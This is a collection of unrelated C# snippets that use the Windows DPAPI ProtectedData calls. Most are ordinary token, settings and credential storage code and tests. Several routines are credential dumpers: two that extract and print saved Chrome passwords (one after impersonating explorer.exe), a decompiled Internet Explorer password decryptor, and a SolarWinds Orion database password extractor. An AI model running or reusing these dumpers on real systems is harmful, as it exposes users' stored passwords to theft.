/// <summary> /// Authenticates the user with the service and saves the refresh token. /// </summary> /// <param name="request">Http request message</param> /// <returns></returns> public async Task AuthenticateRequestAsync(HttpRequestMessage request) { authenticator = new OAuth2Authenticator(ServiceConstants.MSA_CLIENT_ID, ServiceConstants.MSA_CLIENT_SECRET, string.Join(",", ServiceConstants.Scopes), new Uri(ServiceConstants.AUTHENTICATION_URL), new Uri(ServiceConstants.RETURN_URL), new Uri(ServiceConstants.TOKEN_URL)); var protectedData = new ProtectedData(); var accessToken = string.Empty; var refreshToken = protectedData.Unprotect(ServiceConstants.REFRESH_TOKEN); if (string.IsNullOrEmpty(refreshToken)) { var result = await ShowWebView(); if (result != null) { // pass access_token to the onedrive sdk accessToken = result[ServiceConstants.ACCESS_TOKEN]; // add refresh token to the password vault to enable future silent login new ProtectedData().Protect(ServiceConstants.REFRESH_TOKEN, result[ServiceConstants.REFRESH_TOKEN]); } } else { accessToken = await authenticator.RequestRefreshTokenAsync(refreshToken); } request.Headers.Authorization = new AuthenticationHeaderValue("bearer", accessToken); }
internal static string Protect(string str) { var entropy = Encoding.ASCII.GetBytes(Environment.MachineName); return(Convert.ToBase64String(ProtectedData.Protect(Encoding.ASCII.GetBytes(str), entropy, DataProtectionScope.CurrentUser))); }
private static Settings deserialize(byte[] data) { using (var ms = new MemoryStream(ProtectedData.Unprotect(data, null, DataProtectionScope.CurrentUser))) return(new XmlSerializer(typeof(Settings)).Deserialize(ms) as Settings); }
static byte[] DpapiProtect(byte[] data) => ProtectedData.Protect(data, null, DataProtectionScope.CurrentUser);
private void ReadFormDataFromFile(string ConfigFile) { // Read configuration data from the file to our dictionary object _formsConfig = new Dictionary <string, string>(); if (!File.Exists(ConfigFile)) { return; } String appSettings = String.Empty; try { appSettings = System.Text.Encoding.Unicode.GetString(ProtectedData.Unprotect(File.ReadAllBytes(ConfigFile), null, DataProtectionScope.CurrentUser)); } catch { } // Config files that support multiple forms start with v2, so we just check for the v identifier (any present implies support) if (!appSettings.StartsWith("FormConfigv")) { // Try reading unencrypted try { appSettings = System.Text.Encoding.Unicode.GetString(File.ReadAllBytes(ConfigFile)); } catch { } } if (!appSettings.StartsWith("FormConfigv")) { return; } using (StringReader reader = new StringReader(appSettings)) { string sLine = ""; while (sLine != null) { // Each "line" should be a complete configuration blob for a single form sLine = reader.ReadLine(); if (!String.IsNullOrEmpty(sLine)) { if (!sLine.StartsWith("FormConfig")) { int splitLocation = sLine.IndexOf(':'); if (splitLocation > 0) { string formName = sLine.Substring(0, splitLocation); string formData = sLine.Substring(splitLocation + 1); if (!String.IsNullOrEmpty(formName)) { _formsConfig.Add(formName, Decode(formData)); } } } } } } }
private static byte[] Unprotect(byte[] data) { //TODO: look protect return(ProtectedData.Unprotect(data, _salt, DataProtectionScope.LocalMachine)); }
public IBuildServerCredentials GetBuildServerCredentials(IBuildServerAdapter buildServerAdapter, bool useStoredCredentialsIfExisting) { lock (buildServerCredentialsLock) { IBuildServerCredentials buildServerCredentials = new BuildServerCredentials { UseGuestAccess = true }; var foundInConfig = false; const string CredentialsConfigName = "Credentials"; const string UseGuestAccessKey = "UseGuestAccess"; const string UsernameKey = "Username"; const string PasswordKey = "Password"; using (var stream = GetBuildServerOptionsIsolatedStorageStream(buildServerAdapter, FileAccess.Read, FileShare.Read)) { if (stream.Position < stream.Length) { var protectedData = new byte[stream.Length]; stream.Read(protectedData, 0, (int)stream.Length); try { byte[] unprotectedData = ProtectedData.Unprotect(protectedData, null, DataProtectionScope.CurrentUser); using (var memoryStream = new MemoryStream(unprotectedData)) { ConfigFile credentialsConfig = new ConfigFile("", false); using (var textReader = new StreamReader(memoryStream, Encoding.UTF8)) { credentialsConfig.LoadFromString(textReader.ReadToEnd()); } var section = credentialsConfig.FindConfigSection(CredentialsConfigName); if (section != null) { buildServerCredentials.UseGuestAccess = section.GetValueAsBool(UseGuestAccessKey, true); buildServerCredentials.Username = section.GetValue(UsernameKey); buildServerCredentials.Password = section.GetValue(PasswordKey); foundInConfig = true; if (useStoredCredentialsIfExisting) { return(buildServerCredentials); } } } } catch (CryptographicException) { // As per MSDN, the ProtectedData.Unprotect method is per user, // it will throw the CryptographicException if the current user // is not the one who protected the data. // Set this variable to false so the user can reset the credentials. useStoredCredentialsIfExisting = false; } } } if (!useStoredCredentialsIfExisting || !foundInConfig) { buildServerCredentials = ShowBuildServerCredentialsForm(buildServerAdapter.UniqueKey, buildServerCredentials); if (buildServerCredentials != null) { ConfigFile credentialsConfig = new ConfigFile("", true); var section = credentialsConfig.FindOrCreateConfigSection(CredentialsConfigName); section.SetValueAsBool(UseGuestAccessKey, buildServerCredentials.UseGuestAccess); section.SetValue(UsernameKey, buildServerCredentials.Username); section.SetValue(PasswordKey, buildServerCredentials.Password); using (var stream = GetBuildServerOptionsIsolatedStorageStream(buildServerAdapter, FileAccess.Write, FileShare.None)) { using (var memoryStream = new MemoryStream()) { using (var textWriter = new StreamWriter(memoryStream, Encoding.UTF8)) { textWriter.Write(credentialsConfig.GetAsString()); } var protectedData = ProtectedData.Protect(memoryStream.ToArray(), null, DataProtectionScope.CurrentUser); stream.Write(protectedData, 0, protectedData.Length); } } return(buildServerCredentials); } } return(null); } }
private static byte[] Unprotect(byte[] data) { return(ProtectedData.Unprotect(data, s_aditionalEntropy, ScopeSetting)); }
public static bool Chrome_logins() { //copy login data string login_data_path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data"; if (File.Exists(login_data_path) == true) { string chrome_state_file = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Local State"; string login_data_tempFile = Path.GetTempFileName(); File.Copy(login_data_path, login_data_tempFile, true); Console.WriteLine("\t[+] Copy {0} to {1}", login_data_path, login_data_tempFile); SQLiteDatabase database = new SQLiteDatabase(login_data_tempFile); string query = "SELECT origin_url, username_value, password_value FROM logins"; DataTable resultantQuery = database.ExecuteQuery(query); foreach (DataRow row in resultantQuery.Rows) { string url; string username; try { url = (string)row["origin_url"]; username = (string)row["username_value"]; } catch { continue; } byte[] passwordBytes = Convert.FromBase64String((string)row["password_value"]); string password; try { //老版本解密 password = Encoding.UTF8.GetString(ProtectedData.Unprotect(passwordBytes, null, DataProtectionScope.CurrentUser)); //Console.WriteLine("{0} {1} {2}", originUrl, username, password); } catch (Exception ex) //如果异常了就用新加密方式尝试 { byte[] masterKey = GetMasterKey(chrome_state_file); password = DecryptWithKey(passwordBytes, masterKey); } Console.WriteLine("\t[URL] -> {0}\n\t[USERNAME] -> {1}\n\t[PASSWORD] -> {2}\n", url, username, password); } database.CloseDatabase(); System.IO.File.Delete(login_data_tempFile); Console.WriteLine("\t[+] Delete File {0}", login_data_tempFile); } else { Console.WriteLine("[-] {0} Not Found!", login_data_path); } return(false); }
// Token: 0x060004F3 RID: 1267 RVA: 0x00012310 File Offset: 0x00010510 private static bool DecryptIePassword(string url, List <string[]> dataList) { string urlhashString = InternetExplorer.GetURLHashString(url); if (!InternetExplorer.DoesURLMatchWithHash(urlhashString)) { return(false); } byte[] encryptedData; using (RegistryKey registryKey = GClass9.smethod_1(RegistryHive.CurrentUser, "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2")) { if (registryKey == null) { return(false); } encryptedData = (byte[])registryKey.GetValue(urlhashString); } byte[] array = new byte[2 * (url.Length + 1)]; Buffer.BlockCopy(url.ToCharArray(), 0, array, 0, url.Length * 2); byte[] array2 = ProtectedData.Unprotect(encryptedData, array, DataProtectionScope.CurrentUser); InternetExplorer.IEAutoComplteSecretHeader ieautoComplteSecretHeader = InternetExplorer.ByteArrayToStructure <InternetExplorer.IEAutoComplteSecretHeader>(array2); if ((long)array2.Length >= (long)((ulong)(ieautoComplteSecretHeader.dwSize + ieautoComplteSecretHeader.dwSecretInfoSize + ieautoComplteSecretHeader.dwSecretSize))) { uint num = ieautoComplteSecretHeader.IESecretHeader.dwTotalSecrets / 2U; int num2 = Marshal.SizeOf(typeof(InternetExplorer.SecretEntry)); byte[] array3 = new byte[ieautoComplteSecretHeader.dwSecretSize]; int num3 = (int)(ieautoComplteSecretHeader.dwSize + ieautoComplteSecretHeader.dwSecretInfoSize); Buffer.BlockCopy(array2, num3, array3, 0, array3.Length); if (dataList == null) { dataList = new List <string[]>(); } else { dataList.Clear(); } num3 = Marshal.SizeOf(ieautoComplteSecretHeader); int num4 = 0; while ((long)num4 < (long)((ulong)num)) { byte[] array4 = new byte[num2]; Buffer.BlockCopy(array2, num3, array4, 0, array4.Length); InternetExplorer.SecretEntry secretEntry = InternetExplorer.ByteArrayToStructure <InternetExplorer.SecretEntry>(array4); string[] array5 = new string[3]; byte[] array6 = new byte[secretEntry.dwLength * 2U]; Buffer.BlockCopy(array3, (int)secretEntry.dwOffset, array6, 0, array6.Length); array5[0] = Encoding.Unicode.GetString(array6); num3 += num2; Buffer.BlockCopy(array2, num3, array4, 0, array4.Length); secretEntry = InternetExplorer.ByteArrayToStructure <InternetExplorer.SecretEntry>(array4); byte[] array7 = new byte[secretEntry.dwLength * 2U]; Buffer.BlockCopy(array3, (int)secretEntry.dwOffset, array7, 0, array7.Length); array5[1] = Encoding.Unicode.GetString(array7); array5[2] = urlhashString; dataList.Add(array5); num3 += num2; num4++; } } return(true); }
/// <summary> /// Encrypts the symmetric key. /// </summary> /// <remarks> /// The method is called by the GoF template-methods. /// </remarks> /// <returns>System.Byte[].</returns> protected override byte[] EncryptSymmetricKey() => ProtectedData.Protect(Symmetric.Key, null, DataProtectionScope.LocalMachine);
static void Main(string[] args) { Console.WriteLine("[+] Current user {0}", Environment.UserName); //先获取 explorer.exe 进程 foreach (Process p in Process.GetProcesses()) { int pid = p.Id; string processname = p.ProcessName; string process_of_user = GetProcessUserName(pid); // Recvtoself if (processname == "explorer") { Console.WriteLine("[+] [{0}] [{1}] [{2}]", pid, processname, process_of_user); ImpersonateProcessToken(pid); Console.WriteLine("[+] Impersonate user {0}", Environment.UserName); Console.WriteLine("[+] Current user {0}", Environment.UserName); //copy login data string login_data_path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data"; string chrome_state_file = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Local State"; string login_data_tempFile = Path.GetTempFileName(); File.Copy(login_data_path, login_data_tempFile, true); Console.WriteLine("[+] Copy {0} to {1}", login_data_path, login_data_tempFile); SQLiteDatabase database = new SQLiteDatabase(login_data_tempFile); string query = "SELECT origin_url, username_value, password_value FROM logins"; DataTable resultantQuery = database.ExecuteQuery(query); foreach (DataRow row in resultantQuery.Rows) { string url; string username; try { url = (string)row["origin_url"]; username = (string)row["username_value"]; } catch { continue; } byte[] passwordBytes = Convert.FromBase64String((string)row["password_value"]); string password; try { //老版本解密 password = Encoding.UTF8.GetString(ProtectedData.Unprotect(passwordBytes, null, DataProtectionScope.CurrentUser)); //Console.WriteLine("{0} {1} {2}", originUrl, username, password); } catch (Exception ex) //如果异常了就用新加密方式尝试 { byte[] masterKey = GetMasterKey(chrome_state_file); password = DecryptWithKey(passwordBytes, masterKey); } Console.WriteLine("\tURL -> {0}\n\tUSERNAME -> {1}\n\tPASSWORD -> {2}\n", url, username, password); } database.CloseDatabase(); System.IO.File.Delete(login_data_tempFile); Console.WriteLine("[+] Delete File {0}", login_data_tempFile); //回退权限 RevertToSelf(); Console.WriteLine("[+] Recvtoself"); Console.WriteLine("[+] Current user {0}", Environment.UserName); break; } } }
private static byte[] EncryptPassword(string password) { byte[] protectedData = ProtectedData.Protect(System.Text.Encoding.UTF8.GetBytes(password), null, DataProtectionScope.CurrentUser); return(protectedData); }
public async Task TwoRegisteredCachesRemainInSyncTestAsync() { var properties = _storageCreationPropertiesBuilder.Build(); if (File.Exists(properties.CacheFilePath)) { File.Delete(properties.CacheFilePath); } var helper = await MsalCacheHelper.CreateAsync(properties).ConfigureAwait(true); helper._cacheWatcher.EnableRaisingEvents = false; // Intentionally write the file after creating the MsalCacheHelper to avoid the initial inner PCA being created only to read garbage string startString = "Something to start with"; var startBytes = ProtectedData.Protect(Encoding.UTF8.GetBytes(startString), optionalEntropy: null, scope: DataProtectionScope.CurrentUser); await File.WriteAllBytesAsync(properties.CacheFilePath, startBytes).ConfigureAwait(true); var cache1 = new MockTokenCache(); var cache2 = new MockTokenCache(); var cache3 = new MockTokenCache(); helper.RegisterCache(cache1); helper.RegisterCache(cache2); helper.RegisterCache(cache3); // No calls at register Assert.AreEqual(0, cache1.DeserializeMsalV3_MergeCache); Assert.AreEqual(0, cache2.DeserializeMsalV3_MergeCache); Assert.AreEqual(0, cache3.DeserializeMsalV3_MergeCache); Assert.IsNull(cache1.LastDeserializedString); Assert.IsNull(cache2.LastDeserializedString); Assert.IsNull(cache3.LastDeserializedString); var args1 = new TokenCacheNotificationArgs(cache1, string.Empty, null, false); var args2 = new TokenCacheNotificationArgs(cache2, string.Empty, null, false); var args3 = new TokenCacheNotificationArgs(cache3, string.Empty, null, false); var changedString = "Hey look, the file changed"; helper.BeforeAccessNotification(args1); cache1.LastDeserializedString = changedString; args1.HasStateChanged = true; helper.AfterAccessNotification(args1); helper.BeforeAccessNotification(args2); helper.AfterAccessNotification(args2); helper.BeforeAccessNotification(args3); helper.AfterAccessNotification(args3); Assert.AreEqual(0, cache1.DeserializeMsalV3_MergeCache); Assert.AreEqual(0, cache2.DeserializeMsalV3_MergeCache); Assert.AreEqual(0, cache3.DeserializeMsalV3_MergeCache); // Cache 1 should deserialize, in spite of just writing, just in case another process wrote in the intervening time Assert.AreEqual(1, cache1.DeserializeMsalV3_ClearCache); // Caches 2 and 3 simply need to deserialize Assert.AreEqual(1, cache2.DeserializeMsalV3_ClearCache); Assert.AreEqual(1, cache3.DeserializeMsalV3_ClearCache); Assert.AreEqual(changedString, cache1.LastDeserializedString); Assert.AreEqual(changedString, cache2.LastDeserializedString); Assert.AreEqual(changedString, cache3.LastDeserializedString); File.Delete(properties.CacheFilePath); File.Delete(properties.CacheFilePath + ".version"); }
/// <summary> /// /// </summary> /// <param name="source"></param> /// <returns></returns> public static byte[] DecryptData(this byte[] source, byte[] optional = null) { return(ProtectedData.Unprotect(source, optional)); }
private static void SaveEncryptedData(RegistryKey regKey, string name, string id) { byte[] sourceBytes = System.Text.Encoding.Unicode.GetBytes(id); byte[] encryptedBytes = ProtectedData.Protect(sourceBytes, null, DataProtectionScope.CurrentUser); regKey.SetValue(name, Convert.ToBase64String(encryptedBytes)); }
private static IObservable <TokenCacheNotificationArgs> WriteStorage(this ITokenCache tokenCache, string cacheFilePath) => tokenCache.AfterAccess() .Select(args => { var bytes = ProtectedData.Protect(args.TokenCache.SerializeMsalV3(), null, DataProtectionScope.CurrentUser); File.WriteAllBytes(cacheFilePath, bytes); return(args); });
private static string GetEncryptedText(string clearText) { byte[] nameBytes = Encoding.Unicode.GetBytes(clearText); byte[] encryptedNameBytes = ProtectedData.Protect(nameBytes, null, DataProtectionScope.CurrentUser); return(Convert.ToBase64String(encryptedNameBytes)); }
public void unProtect(string FilePath) { byte[] protectedPinByte = this.ReadPinFromFile(FilePath); byte[] pinByte = ProtectedData.Unprotect(protectedPinByte, null); cardsCollection = JsonConvert.DeserializeObject <ObservableCollection <creditCards> >(Encoding.UTF8.GetString(pinByte, 0, pinByte.Length)); }
private static byte[] Protect(byte[] data) { //TODO: Salt = random Byte[], saved in config return(ProtectedData.Protect(data, _salt, DataProtectionScope.LocalMachine)); }
/// <summary> /// Produces an encrypted byte array serialization of the value. /// Encryption achieved with System.Security.Cryptography.ProtectedData class. /// </summary> public static byte[] Encrypt <T>(this T value, DataProtectionScope scope = default(DataProtectionScope), byte[] entropy = null) { return(ProtectedData.Protect(new Wrapper <T> { Value = value }.Serialize(), entropy, scope)); }
bool _youtube_dl = false; // File.Exists(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) + "\\youtube-dl.exe"); public settings() { InitializeComponent(); textBox1.Text = Settings.Default.server; textBox2.Text = Settings.Default.rpi; textBox_Port.Text = Settings.Default.port; textBox_Username.Text = Settings.Default.username; //textBox_output.Text = Properties.Settings.Default.output; //if (!string.IsNullOrEmpty(NativeMethods.GetFullPathFromWindows("youtube-dl.exe")) || // File.Exists(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) + "\\youtube-dl.exe")) //{ // _youtube_dl = true; // File.Exists(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) + "\\youtube-dl.exe"); //} //password if (Settings.Default.cipher != null && Settings.Default.entropy != null) { byte[] plaintext = ProtectedData.Unprotect(Settings.Default.cipher, Settings.Default.entropy, DataProtectionScope.CurrentUser); textBox_Password.Text = ClassHelp.ByteArrayToString(plaintext); } else { textBox_Password.Text = ""; } // textBox_Password.Text = Properties.Settings.Default.password; // string vlcpath = Properties.Settings.Default.vlcpath; //if (!string.IsNullOrEmpty(vlcpath)) //{ // tabPage4.Visible = true; //vlc page //} //else if (string.IsNullOrEmpty(vlcpath)) //first run //{ // vlcpath = ClassHelp.GetVlcPath(); // if (string.IsNullOrEmpty(vlcpath)) tabPage4.Visible = false; //no vlc installed //} _youtube_dl = ClassHelp.YT_dl(); if (_youtube_dl) { button_update.Visible = true; } else { button_update.Visible = false; } comboBox1.SelectedIndex = Settings.Default.colSearch; comboBox2.SelectedIndex = Settings.Default.colDupli; comboBox_res.SelectedIndex = Settings.Default.maxres; //comboBox_audio.SelectedIndex = Properties.Settings.Default.comboaudio; //comboBox_video.SelectedIndex = Properties.Settings.Default.combovideo; checkBox_kodi.Checked = Settings.Default.kodi_hotkey; checkBox3.Checked = Settings.Default.useDash; if (!_youtube_dl) { checkBox3.Checked = false; } checkBox2.Checked = Settings.Default.replaceDrive; // checkBox_verb.Checked = Properties.Settings.Default.verbose; comboBox_download.Items.Clear(); foreach (object item in Settings.Default.combopathlist) { comboBox_download.Items.Add(item); } comboBox_download.SelectedIndex = 0; textBox_hot.Text = hotText; textBox_hot2.Text = hotText2; setHotkeyInt(); }
/// <summary> /// Deserializes and decrypts a previously encrypted, serialized value. /// Decryption achieved with System.Security.Cryptography.ProtectedData class. /// </summary> public static T Decrypt <T>(this IEnumerable <byte> bytes, DataProtectionScope scope = default(DataProtectionScope), byte[] entropy = null) { return(ProtectedData.Unprotect(bytes.ToArray(), entropy, scope).Deserialize <Wrapper <T> >().Value); }
static byte[] Unprotect(byte[] encryptedData) => ProtectedData.Unprotect(encryptedData, null, DataProtectionScope.CurrentUser);
public IBuildServerCredentials GetBuildServerCredentials(IBuildServerAdapter buildServerAdapter, bool useStoredCredentialsIfExisting) { lock (buildServerCredentialsLock) { IBuildServerCredentials buildServerCredentials = new BuildServerCredentials { UseGuestAccess = true }; const string CredentialsConfigName = "Credentials"; const string UseGuestAccessKey = "UseGuestAccess"; const string UsernameKey = "Username"; const string PasswordKey = "Password"; using (var stream = GetBuildServerOptionsIsolatedStorageStream(buildServerAdapter, FileAccess.Read, FileShare.Read)) { if (stream.Position < stream.Length) { var protectedData = new byte[stream.Length]; stream.Read(protectedData, 0, (int)stream.Length); byte[] unprotectedData = ProtectedData.Unprotect(protectedData, null, DataProtectionScope.CurrentUser); using (var memoryStream = new MemoryStream(unprotectedData)) { ConfigFile credentialsConfig = new ConfigFile("", false); using (var textReader = new StreamReader(memoryStream, Encoding.UTF8)) { credentialsConfig.LoadFromString(textReader.ReadToEnd()); } ConfigSection section = credentialsConfig.FindConfigSection(CredentialsConfigName); if (section != null) { buildServerCredentials.UseGuestAccess = section.GetValueAsBool(UseGuestAccessKey, true); buildServerCredentials.Username = section.GetValue(UsernameKey); buildServerCredentials.Password = section.GetValue(PasswordKey); if (useStoredCredentialsIfExisting) { return(buildServerCredentials); } } } } } if (!useStoredCredentialsIfExisting) { buildServerCredentials = ShowBuildServerCredentialsForm(buildServerAdapter.UniqueKey, buildServerCredentials); if (buildServerCredentials != null) { ConfigFile credentialsConfig = new ConfigFile("", true); ConfigSection section = credentialsConfig.FindOrCreateConfigSection(CredentialsConfigName); section.SetValueAsBool(UseGuestAccessKey, buildServerCredentials.UseGuestAccess); section.SetValue(UsernameKey, buildServerCredentials.Username); section.SetValue(PasswordKey, buildServerCredentials.Password); using (var stream = GetBuildServerOptionsIsolatedStorageStream(buildServerAdapter, FileAccess.Write, FileShare.None)) { using (var memoryStream = new MemoryStream()) { using (var textWriter = new StreamWriter(memoryStream, Encoding.UTF8)) { textWriter.Write(credentialsConfig.GetAsString()); } var protectedData = ProtectedData.Protect(memoryStream.ToArray(), null, DataProtectionScope.CurrentUser); stream.Write(protectedData, 0, protectedData.Length); } } return(buildServerCredentials); } } return(null); } }
private void SetKey(string token) { var encryptedToken = ProtectedData.Protect(System.Text.Encoding.UTF8.GetBytes(token), null, DataProtectionScope.CurrentUser); SetTokenInSettings(encryptedToken); }
public static string EncryptString(SecureString input) { byte[] encryptedData = ProtectedData.Protect(Encoding.Unicode.GetBytes(ToInsecureString(input)), entropy, DataProtectionScope.CurrentUser); return(Convert.ToBase64String(encryptedData)); }
static void GetDatabaseConnection() { // SolarWinds Orion uses a default entropy for it's CryptUnprotectData // This is currently being removed from the code base as far as I can tell // so this may break in the future. byte[] additionalEntropy = new byte[] { 2, 0, 1, 2, 0, 3, 0, 9 }; // SWNetPerfMon is where the database configuration is, it's a simple text file string perfmondb = ""; try { RegistryKey key = Registry.LocalMachine.OpenSubKey("Software\\Wow6432Node\\SolarWinds\\Orion\\Core"); if (key != null) { object installpathkey = key.GetValue("InstallPath"); if (installpathkey != null) { perfmondb = installpathkey as String; perfmondb += "SWNetPerfMon.DB"; } } else { Console.WriteLine("============================================"); Console.WriteLine("It doesn't appear that SolarWinds Orion is installed here. Exiting..."); System.Environment.Exit(1); } } catch { perfmondb = Environment.GetEnvironmentVariable("programfiles(x86)"); perfmondb += "\\SolarWinds\\Orion\\SWNetPerfMon.DB"; } Console.WriteLine($"| \tPath to SWNetPerfMon.DB is: {perfmondb}"); // SolarWindsDatabaseAccessCredential.json has been found to be used for external database connections // I don't know why this is used and why it isn't in other cases.. string jsonpath = Environment.GetEnvironmentVariable("programdata"); jsonpath += "\\SolarWinds\\CredentialStorage\\SolarWindsDatabaseAccessCredential.json"; if (File.Exists(perfmondb)) { Dictionary <string, string> dictionary = new Dictionary <string, string>(StringComparer.InvariantCultureIgnoreCase); using (StreamReader streamReader = File.OpenText(perfmondb)) { string text; while (!streamReader.EndOfStream && (text = streamReader.ReadLine()) != null) { if (text.StartsWith("ConnectionString")) { FlareData.FlareDB.DbCredential cred = new FlareData.FlareDB.DbCredential(); Dictionary <string, string> connString = text.Split(';') .Select(value => value.Split('=')) .ToDictionary(pair => pair[0], pair => pair[1], StringComparer.OrdinalIgnoreCase); // Add the Database if (connString.ContainsKey("Initial Catalog")) { cred.DbDB = connString["Initial Catalog"]; } // Add the Host if (connString.ContainsKey("Data Source")) { cred.DbHost = connString["Data Source"]; } // Add the User ID if (connString.ContainsKey("User ID")) { cred.DbUser = connString["User ID"]; } // Integrated Security if (connString.ContainsKey("Integrated Security")) { if (File.Exists(jsonpath)) { string json = File.ReadAllText(jsonpath); json = json.TrimStart('{').TrimEnd('}').Replace("\"", ""); Dictionary <string, string> jsondata = json.Split(',') .Select(value => value.Split(':')) .ToDictionary(pair => pair[0], pair => pair[1], StringComparer.OrdinalIgnoreCase); if (jsondata.ContainsKey("Password")) { cred.DbPass = Decrypt(jsondata["Password"]); } if (jsondata.ContainsKey("Username")) { cred.DbUser = jsondata["Username"]; } } } else if (connString.ContainsKey("Encrypted.Password")) { byte[] byteencPass; string encPass = connString["Encrypted.Password"].Replace("\"", ""); // Add padding if text parsing removed it try { byteencPass = Convert.FromBase64String(encPass); } catch { try { byteencPass = Convert.FromBase64String(encPass + "="); } catch { byteencPass = Convert.FromBase64String(encPass + "=="); } } try { cred.DbPass = Encoding.UTF8.GetString(ProtectedData.Unprotect(byteencPass, additionalEntropy, DataProtectionScope.LocalMachine)); } catch { Console.WriteLine("Decrypt Failed for " + encPass); } } else if (connString.ContainsKey("Password")) { cred.DbPass = connString["Password"]; } else { Console.WriteLine("--------------------------------------------"); Console.WriteLine($"| \tUnrecognized Connection String: {connString}"); } Console.WriteLine("| \tConnection String: Server=" + cred.DbHost + ";Database=" + cred.DbDB + ";User ID=" + cred.DbUser + ";Password="******"Connection")) { Console.WriteLine($"| {text}"); } } } } }
public void CertificateAndMasterKeyExecTest() { string script; IDictionary <string, string> customSettings = new ConcurrentDictionary <string, string>(); var keyPath = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString()); var buffer = new byte[256 / 8]; using (var cryptoRandom = new RNGCryptoServiceProvider()) { cryptoRandom.GetBytes(buffer); } File.WriteAllBytes(keyPath, buffer); var certPath = GenerateAndSaveSelfSignedCertificate(); if (PlatformDetails.RunningOnPosix) { var scriptPath = Path.Combine(Path.GetTempPath(), Path.ChangeExtension(Guid.NewGuid().ToString(), ".sh")); var keyArgs = CommandLineArgumentEscaper.EscapeAndConcatenate(new List <string> { scriptPath, keyPath }); var certArgs = CommandLineArgumentEscaper.EscapeAndConcatenate(new List <string> { scriptPath, certPath.ServerCertificatePath }); customSettings[RavenConfiguration.GetKey(x => x.Security.MasterKeyExec)] = "bash"; customSettings[RavenConfiguration.GetKey(x => x.Security.MasterKeyExecArguments)] = $"{keyArgs}"; customSettings[RavenConfiguration.GetKey(x => x.Security.CertificateLoadExec)] = "bash"; customSettings[RavenConfiguration.GetKey(x => x.Security.CertificateLoadExecArguments)] = $"{certArgs}"; customSettings[RavenConfiguration.GetKey(x => x.Core.ServerUrls)] = "https://" + Environment.MachineName + ":0"; script = "#!/bin/bash\ncat \"$1\""; File.WriteAllText(scriptPath, script); Process.Start("chmod", $"700 {scriptPath}"); } else { var scriptPath = Path.Combine(Path.GetTempPath(), Path.ChangeExtension(Guid.NewGuid().ToString(), ".ps1")); var keyArgs = CommandLineArgumentEscaper.EscapeAndConcatenate(new List <string> { "-NoProfile", scriptPath, keyPath }); var certArgs = CommandLineArgumentEscaper.EscapeAndConcatenate(new List <string> { "-NoProfile", scriptPath, certPath.ServerCertificatePath }); customSettings[RavenConfiguration.GetKey(x => x.Security.MasterKeyExec)] = "powershell"; customSettings[RavenConfiguration.GetKey(x => x.Security.MasterKeyExecArguments)] = $"{keyArgs}"; customSettings[RavenConfiguration.GetKey(x => x.Security.CertificateLoadExec)] = "powershell"; customSettings[RavenConfiguration.GetKey(x => x.Security.CertificateRenewExec)] = "powershell"; customSettings[RavenConfiguration.GetKey(x => x.Security.CertificateChangeExec)] = "powershell"; customSettings[RavenConfiguration.GetKey(x => x.Security.CertificateLoadExecArguments)] = $"{certArgs}"; customSettings[RavenConfiguration.GetKey(x => x.Core.ServerUrls)] = "https://" + Environment.MachineName + ":0"; script = @"param([string]$userArg) try { $bytes = Get-Content -path $userArg -encoding Byte $stdout = [System.Console]::OpenStandardOutput() $stdout.Write($bytes, 0, $bytes.Length) } catch { Write-Error $_.Exception exit 1 } exit 0"; File.WriteAllText(scriptPath, script); } UseNewLocalServer(customSettings: customSettings, runInMemory: false); // The master key loading is lazy, let's put a database secret key to invoke it. var dbName = GetDatabaseName(); var databaseKey = new byte[32]; using (var rand = RandomNumberGenerator.Create()) { rand.GetBytes(databaseKey); } var base64Key = Convert.ToBase64String(databaseKey); // sometimes when using `dotnet xunit` we get platform not supported from ProtectedData try { #pragma warning disable CA1416 // Validate platform compatibility ProtectedData.Protect(Encoding.UTF8.GetBytes("Is supported?"), null, DataProtectionScope.CurrentUser); #pragma warning restore CA1416 // Validate platform compatibility } catch (PlatformNotSupportedException) { return; } Server.ServerStore.PutSecretKey(base64Key, dbName, true); X509Certificate2 serverCertificate; try { serverCertificate = new X509Certificate2(certPath.ServerCertificatePath, (string)null, X509KeyStorageFlags.Exportable | X509KeyStorageFlags.MachineKeySet); } catch (CryptographicException e) { throw new CryptographicException($"Failed to load the test certificate from {certPath}.", e); } using (var store = GetDocumentStore(new Options { AdminCertificate = serverCertificate, ClientCertificate = serverCertificate, ModifyDatabaseName = s => dbName, ModifyDatabaseRecord = record => record.Encrypted = true, Path = NewDataPath() })) { } var secrets = Server.ServerStore.Secrets; var serverMasterKey = (Lazy <byte[]>) typeof(SecretProtection).GetField("_serverMasterKey", BindingFlags.NonPublic | BindingFlags.Instance).GetValue(secrets); Assert.True(serverMasterKey.Value.SequenceEqual(buffer)); Assert.True(Server.Certificate.Certificate.Equals(serverCertificate)); }
public static void Unprotect(byte[] data, MemoryProtectionScope scope) { ProtectedData.Unprotect(data, null, DataProtectionScope.CurrentUser); }
public static string ProtectString(string stringToProtect) { return(stringToProtect != null ? Convert.ToBase64String(ProtectedData.Protect(Encoding.UTF8.GetBytes(stringToProtect), null, DataProtectionScope.CurrentUser)) : null); }